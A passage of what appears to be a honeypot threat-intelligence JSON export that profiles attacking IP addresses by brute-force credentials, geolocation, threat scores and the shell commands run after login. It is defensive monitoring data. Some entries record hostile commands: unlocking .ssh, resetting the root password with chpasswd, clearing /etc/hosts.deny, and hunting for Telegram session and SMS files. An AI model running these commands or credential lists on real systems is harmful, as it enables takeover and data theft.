      "first_seen": "2026-05-24T18:26:41.921Z",
      "last_seen": "2026-05-24T19:46:27.622Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "iksi",
        "intel",
        "dev",
        "dict",
        "httpd",
        "kafka",
        "postgres",
        "root/bin",
        "sql",
        "steam",
        "ubuntu"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "1",
        "1111",
        "121212",
        "12345",
        "123pls123A!",
        "1q2w3e",
        "Abc123@@",
        "Hello1234!",
        "Pa55word",
        "dict",
        "fjbdfdjkdsfs541544@@",
        "qwe1234.",
        "root",
        "roottoor",
        "ubuntu123",
        "ubuntu20svm",
        "zhbjETuyMffoL8F"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:kpmc6babOJ02\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Ahmedabad",
      "asn": 45820,
      "as_org": "Tata Teleservices ISP AS",
      "threat_score": 28.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 259,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T18:26:41.921000+00:00",
        "last_seen_30d": "2026-05-24T19:47:37.281000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 199,
        "Suricata": 60
      }
    },
    "43.165.3.187": {
      "attack_count": 169,
      "first_seen": "2026-05-12T20:49:43.108Z",
      "last_seen": "2026-05-12T21:53:02.633Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ansible",
        "345gs5662d34",
        "billing",
        "bot",
        "composer",
        "deep",
        "dev",
        "es_user",
        "leonardo",
        "oleg",
        "ossuser",
        "test1",
        "valera"
      ],
      "passwords_attempted": [
        "123456",
        "1984",
        "3245gs5662d34",
        "345gs5662d34",
        "Changeme_123",
        "Hello@1234",
        "Lt12345678",
        "Welcome@2025!",
        "Zf123456",
        "abcdabcd",
        "ansible123",
        "billing",
        "botbot",
        "composer",
        "deep@123",
        "es_user",
        "oleg",
        "test1234",
        "test1234.",
        "test1test1"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"ansible123\\n8IjaxutCCG9d\\n8IjaxutCCG9d\\n\"|passwd",
        "echo -e \"ansible123\\n8IjaxutCCG9d\\n8IjaxutCCG9d\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 13.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 221,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T20:49:43.108000+00:00",
        "last_seen_30d": "2026-05-12T21:54:05.490000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 169,
        "Suricata": 52
      }
    },
    "58.47.65.179": {
      "attack_count": 136,
      "first_seen": "2026-05-18T21:48:20.673Z",
      "last_seen": "2026-05-19T06:23:29.113Z",
      "sessions": 68,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 22.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.2,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 208,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T21:48:20.673000+00:00",
        "last_seen_30d": "2026-05-19T06:24:30.546000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 136,
        "Suricata": 72
      }
    },
    "116.110.209.37": {
      "attack_count": 135,
      "first_seen": "2026-05-04T04:21:06.396Z",
      "last_seen": "2026-05-04T04:31:22.784Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root",
        "user",
        "belkinstyle",
        "btf",
        "guest",
        "guest1",
        "kim",
        "operator",
        "plex",
        "psybnc",
        "support",
        "sync",
        "thomas",
        "ubnt"
      ],
      "passwords_attempted": [
        "password",
        "1234",
        "12345",
        "123456",
        "321start",
        "72ca06",
        "abcdefg",
        "admin",
        "admin01",
        "admin123",
        "click1",
        "default",
        "guest",
        "guest1",
        "kim123",
        "operator",
        "p@ssw0rd",
        "plex",
        "psybnc",
        "support"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 24086,
      "as_org": "Viettel Corporation",
      "threat_score": 3.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.0,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 199,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T04:21:06.396000+00:00",
        "last_seen_30d": "2026-05-04T04:32:31.179000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 135,
        "Suricata": 64
      }
    },
    "1.34.57.153": {
      "attack_count": 132,
      "first_seen": "2026-05-20T18:55:25.734Z",
      "last_seen": "2026-05-21T06:24:08.538Z",
      "sessions": 66,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Taipei",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 24.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.0,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 198,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T18:55:25.734000+00:00",
        "last_seen_30d": "2026-05-21T06:25:10.496000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 132,
        "Suricata": 66
      }
    },
    "75.112.23.30": {
      "attack_count": 103,
      "first_seen": "2026-05-17T11:48:11.119Z",
      "last_seen": "2026-05-17T12:04:46.044Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "accounting",
        "desktop",
        "flectra",
        "home"
      ],
      "passwords_attempted": [
        "123456789/*",
        "3245gs5662d34",
        "345gs5662d34",
        "Abc12345678@",
        "accounting",
        "desktop123",
        "flectra",
        "home",
        "server2024"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:2Md9C2uy9JYP\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Orlando",
      "asn": 33363,
      "as_org": "Charter Communications, Inc",
      "threat_score": 18.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 124,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T11:48:11.119000+00:00",
        "last_seen_30d": "2026-05-17T12:05:52.514000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 103,
        "Suricata": 21
      }
    },
    "198.20.127.158": {
      "attack_count": 90,
      "first_seen": "2026-05-08T12:19:31.450Z",
      "last_seen": "2026-05-28T14:37:02.264Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 32475,
      "as_org": "Internap Holding LLC",
      "threat_score": 44.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 20.2,
        "persistence": 17.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 105,
        "days_active_30d": 21,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T12:19:31.450000+00:00",
        "last_seen_30d": "2026-05-28T14:38:06.615000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 60,
        "Suricata": 45
      }
    },
    "123.185.244.10": {
      "attack_count": 56,
      "first_seen": "2026-05-19T11:43:56.037Z",
      "last_seen": "2026-05-19T17:54:50.382Z",
      "sessions": 28,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Shanghai",
      "asn": 134762,
      "as_org": "CHINANET Liaoning province Dalian MAN network",
      "threat_score": 19.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 19.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 89,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T11:43:56.037000+00:00",
        "last_seen_30d": "2026-05-19T17:56:00.688000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 56,
        "Suricata": 33
      }
    },
    "123.11.14.72": {
      "attack_count": 50,
      "first_seen": "2026-05-03T08:19:04.604Z",
      "last_seen": "2026-05-03T08:24:29.027Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 3.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T08:19:04.604000+00:00",
        "last_seen_30d": "2026-05-03T08:25:37.418000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "123.5.152.149": {
      "attack_count": 50,
      "first_seen": "2026-05-02T08:05:09.483Z",
      "last_seen": "2026-05-02T08:10:21.525Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 3.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 77,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T08:05:09.483000+00:00",
        "last_seen_30d": "2026-05-02T08:11:29.852000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 27
      }
    },
    "139.135.59.149": {
      "attack_count": 50,
      "first_seen": "2026-05-25T23:20:24.507Z",
      "last_seen": "2026-05-25T23:25:48.965Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 25.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T23:20:24.507000+00:00",
        "last_seen_30d": "2026-05-25T23:26:52.457000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "81.171.10.178": {
      "attack_count": 48,
      "first_seen": "2026-05-09T06:54:30.089Z",
      "last_seen": "2026-05-11T13:34:15.405Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": null,
      "asn": 60781,
      "as_org": "LeaseWeb Netherlands B.V.",
      "threat_score": 10.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.5,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 56,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T06:54:30.089000+00:00",
        "last_seen_30d": "2026-05-11T13:35:18.535000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 32,
        "Suricata": 24
      }
    },
    "72.255.32.198": {
      "attack_count": 44,
      "first_seen": "2026-05-28T01:53:21.112Z",
      "last_seen": "2026-05-28T01:58:12.523Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 28.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 67,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-28T01:53:21.112000+00:00",
        "last_seen_30d": "2026-05-28T01:59:20.290000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 44,
        "Suricata": 23
      }
    },
    "157.173.100.92": {
      "attack_count": 42,
      "first_seen": "2026-05-14T01:23:06.565Z",
      "last_seen": "2026-05-31T22:33:43.411Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Lauterbourg",
      "asn": 51167,
      "as_org": "Contabo GmbH",
      "threat_score": 43.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 16.9,
        "persistence": 15.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 49,
        "days_active_30d": 18,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T01:23:06.565000+00:00",
        "last_seen_30d": "2026-05-31T22:34:53.273000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 28,
        "Suricata": 21
      }
    },
    "42.242.196.18": {
      "attack_count": 42,
      "first_seen": "2026-05-19T06:45:12.647Z",
      "last_seen": "2026-05-19T08:21:15.271Z",
      "sessions": 21,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 18.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 66,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T06:45:12.647000+00:00",
        "last_seen_30d": "2026-05-19T08:22:17.185000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 42,
        "Suricata": 24
      }
    },
    "58.58.25.235": {
      "attack_count": 42,
      "first_seen": "2026-05-19T06:39:03.132Z",
      "last_seen": "2026-05-19T08:11:08.770Z",
      "sessions": 21,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 18.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 64,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T06:39:03.132000+00:00",
        "last_seen_30d": "2026-05-19T08:12:19.029000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 42,
        "Suricata": 22
      }
    },
    "103.137.72.77": {
      "attack_count": 36,
      "first_seen": "2026-05-03T07:39:42.873Z",
      "last_seen": "2026-05-03T08:00:02.776Z",
      "sessions": 18,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bangladesh",
      "country_code": "BD",
      "city": null,
      "asn": 135341,
      "as_org": "Orange Communication",
      "threat_score": 3.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 56,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T07:39:42.873000+00:00",
        "last_seen_30d": "2026-05-03T08:01:11.362000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 36,
        "Suricata": 20
      }
    },
    "116.120.97.12": {
      "attack_count": 34,
      "first_seen": "2026-05-12T20:27:07.457Z",
      "last_seen": "2026-05-12T20:30:18.162Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "admin",
        "root"
      ],
      "commands_executed": [
        "/ip cloud print",
        "cat /proc/cpuinfo",
        "echo Hi | cat -n",
        "ifconfig",
        "locate D877F783D5D3EF8Cs",
        "ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*",
        "ps -ef | grep '[Mm]iner'",
        "ps | grep '[Mm]iner'",
        "uname -a"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.failed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Goyang-si",
      "asn": 9318,
      "as_org": "SK Broadband Co Ltd",
      "threat_score": 10.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 38,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T20:27:07.457000+00:00",
        "last_seen_30d": "2026-05-12T20:32:11.716000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 34,
        "Suricata": 4
      }
    },
    "140.99.130.224": {
      "attack_count": 24,
      "first_seen": "2026-05-10T15:30:25.790Z",
      "last_seen": "2026-05-17T21:45:16.513Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 212238,
      "as_org": "Datacamp Limited",
      "threat_score": 17.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.5,
        "persistence": 6.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 28,
        "days_active_30d": 8,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T15:30:25.790000+00:00",
        "last_seen_30d": "2026-05-17T21:46:24.913000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 12
      }
    },
    "165.154.172.149": {
      "attack_count": 23,
      "first_seen": "2026-05-04T01:59:15.061Z",
      "last_seen": "2026-05-04T02:01:29.382Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 3.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 48,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T01:59:15.061000+00:00",
        "last_seen_30d": "2026-05-04T02:02:36.678000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Suricata": 25,
        "Cowrie": 23
      }
    },
    "152.32.160.252": {
      "attack_count": 22,
      "first_seen": "2026-05-06T16:28:20.100Z",
      "last_seen": "2026-05-06T16:30:46.419Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [
        "",
        "Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6",
        "GET / HTTP/1.1",
        "b'\\x05\\x04\\x00\\x01\\x02\\x80\\x05\\x01\\x00\\x03'"
      ],
      "passwords_attempted": [
        "",
        "Host: 172.105.186.117:23",
        "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0",
        "github.com\u0000PGET / HTTP/1.0"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Ho Chi Minh City",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 14.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.9,
        "persistence": 6.7,
        "diversity": 8,
        "spread": 20,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 78,
        "days_active_30d": 8,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-02T13:54:04.499000+00:00",
        "last_seen_30d": "2026-05-09T14:28:22.319000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Suricata": 37,
        "Cowrie": 22,
        "Honeytrap": 16,
        "Dionaea": 3
      }
    },
    "179.246.14.127": {
      "attack_count": 22,
      "first_seen": "2026-05-22T00:13:26.845Z",
      "last_seen": "2026-05-22T08:36:49.403Z",
      "sessions": 11,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Campinas",
      "asn": 26599,
      "as_org": "TELEFONICA BRASIL S.A",
      "threat_score": 19.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 33,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T00:13:26.845000+00:00",
        "last_seen_30d": "2026-05-22T08:37:50.794000+00:00",
        "days_since_last_seen": 9
      },
